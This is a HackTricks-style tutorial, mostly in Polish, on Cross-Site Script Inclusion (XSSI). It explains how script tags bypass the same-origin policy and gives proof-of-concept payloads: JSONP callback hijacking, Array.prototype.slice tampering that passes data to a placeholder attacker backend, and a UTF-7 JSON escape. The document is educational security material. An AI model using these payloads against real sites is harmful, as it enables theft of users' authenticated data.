XSSI (Cross-Site Script Inclusion)

Support HackTricks

Basic Information

Cross-Site Script Inclusion (XSSI) to luka, która wynika z natury tagu script w HTML. W przeciwieństwie do większości zasobów, które podlegają Same-Origin Policy (SOP), skrypty mogą być dołączane z różnych domen. To zachowanie ma na celu ułatwienie korzystania z bibliotek i innych zasobów hostowanych na różnych serwerach, ale wprowadza również potencjalne ryzyko bezpieczeństwa.

Key Characteristics of XSSI:

  • Bypass of SOP: Skrypty są zwolnione z Same-Origin Policy, co pozwala na ich dołączanie między domenami.

  • Data Exposure: Atakujący może wykorzystać to zachowanie do odczytu danych załadowanych za pomocą tagu script.

  • Impact on Dynamic JavaScript/JSONP: XSSI jest szczególnie istotne dla dynamicznego JavaScriptu lub JSON with Padding (JSONP). Technologie te często wykorzystują informacje "ambient-authority" (takie jak ciasteczka) do uwierzytelniania. Gdy żądanie skryptu jest wysyłane do innego hosta, te dane uwierzytelniające (np. ciasteczka) są automatycznie dołączane do żądania.

  • Authentication Token Leakage: Jeśli atakujący może oszukać przeglądarkę użytkownika, aby zażądała skryptu z serwera, który kontroluje, może uzyskać dostęp do wrażliwych informacji zawartych w tych żądaniach.

Types

  1. Static JavaScript - To reprezentuje konwencjonalną formę XSSI.

  2. Static JavaScript with Authentication - Ten typ jest odmienny, ponieważ wymaga uwierzytelnienia do uzyskania dostępu.

  3. Dynamic JavaScript - Dotyczy JavaScriptu, który dynamicznie generuje treść.

  4. Non-JavaScript - Odnosi się do luk, które nie dotyczą bezpośrednio JavaScriptu.

The following information is a sumary of https://www.scip.ch/en/?labs.20160414. Check it for further details.

Regular XSSI

W tym podejściu prywatne informacje są osadzone w ogólnodostępnym pliku JavaScript. Atakujący mogą identyfikować te pliki za pomocą metod takich jak odczyt plików, wyszukiwanie słów kluczowych lub wyrażeń regularnych. Po zlokalizowaniu skryptu zawierającego prywatne informacje można go dołączyć do złośliwej treści, co umożliwia nieautoryzowany dostęp do wrażliwych danych. Przykład techniki wykorzystania pokazano poniżej:

<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>

Dynamic-JavaScript-based-XSSI i Authenticated-JavaScript-XSSI

Te typy ataków XSSI polegają na dynamicznym dodawaniu poufnych informacji do skryptu w odpowiedzi na żądanie użytkownika. Wykrywanie można przeprowadzić, wysyłając żądania z i bez ciasteczek oraz porównując odpowiedzi. Jeśli informacje się różnią, może to wskazywać na obecność poufnych danych. Proces ten można zautomatyzować za pomocą narzędzi takich jak DetectDynamicJS rozszerzenie Burp.

Jeśli poufne dane są przechowywane w zmiennej globalnej, można je wykorzystać za pomocą podobnych metod jak w Regular XSSI. Jednak jeśli poufne dane są zawarte w odpowiedzi JSONP, atakujący mogą przejąć funkcję zwrotną, aby uzyskać te informacje. Można to zrobić, manipulując obiektami globalnymi lub ustawiając funkcję do wykonania przez odpowiedź JSONP, jak pokazano poniżej:

<script>
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

Dla zmiennych, które nie znajdują się w globalnej przestrzeni nazw, prototype tampering może czasami być wykorzystane. Technika ta wykorzystuje projekt JavaScriptu, w którym interpretacja kodu polega na przeszukiwaniu łańcucha prototypów w celu zlokalizowania wywoływanej właściwości. Poprzez nadpisanie niektórych funkcji, takich jak Array's slice, atakujący mogą uzyskać dostęp do zmiennych nieglobalnych i je ujawniać:

Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};

Dalsze szczegóły dotyczące wektorów ataku można znaleźć w pracy badacza bezpieczeństwa Sebastiana Lekiesa, który prowadzi listę wektorów.

Non-Script-XSSI

Badania Takeshiego Terady wprowadzają inną formę XSSI, w której pliki Non-Script, takie jak CSV, są wyciekane między źródłami poprzez włączenie ich jako źródła w tagu script. Historyczne przypadki XSSI, takie jak atak Jeremiah Grossmana z 2006 roku na odczytanie pełnej książki adresowej Google oraz wyciek danych JSON Joe Walkera z 2007 roku, podkreślają powagę tych zagrożeń. Dodatkowo, Gareth Heyes opisuje wariant ataku z wykorzystaniem kodowania UTF-7 w JSON, aby uciec od formatu JSON i wykonać skrypty, skuteczny w niektórych przeglądarkach:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
Wsparcie HackTricks

Last updated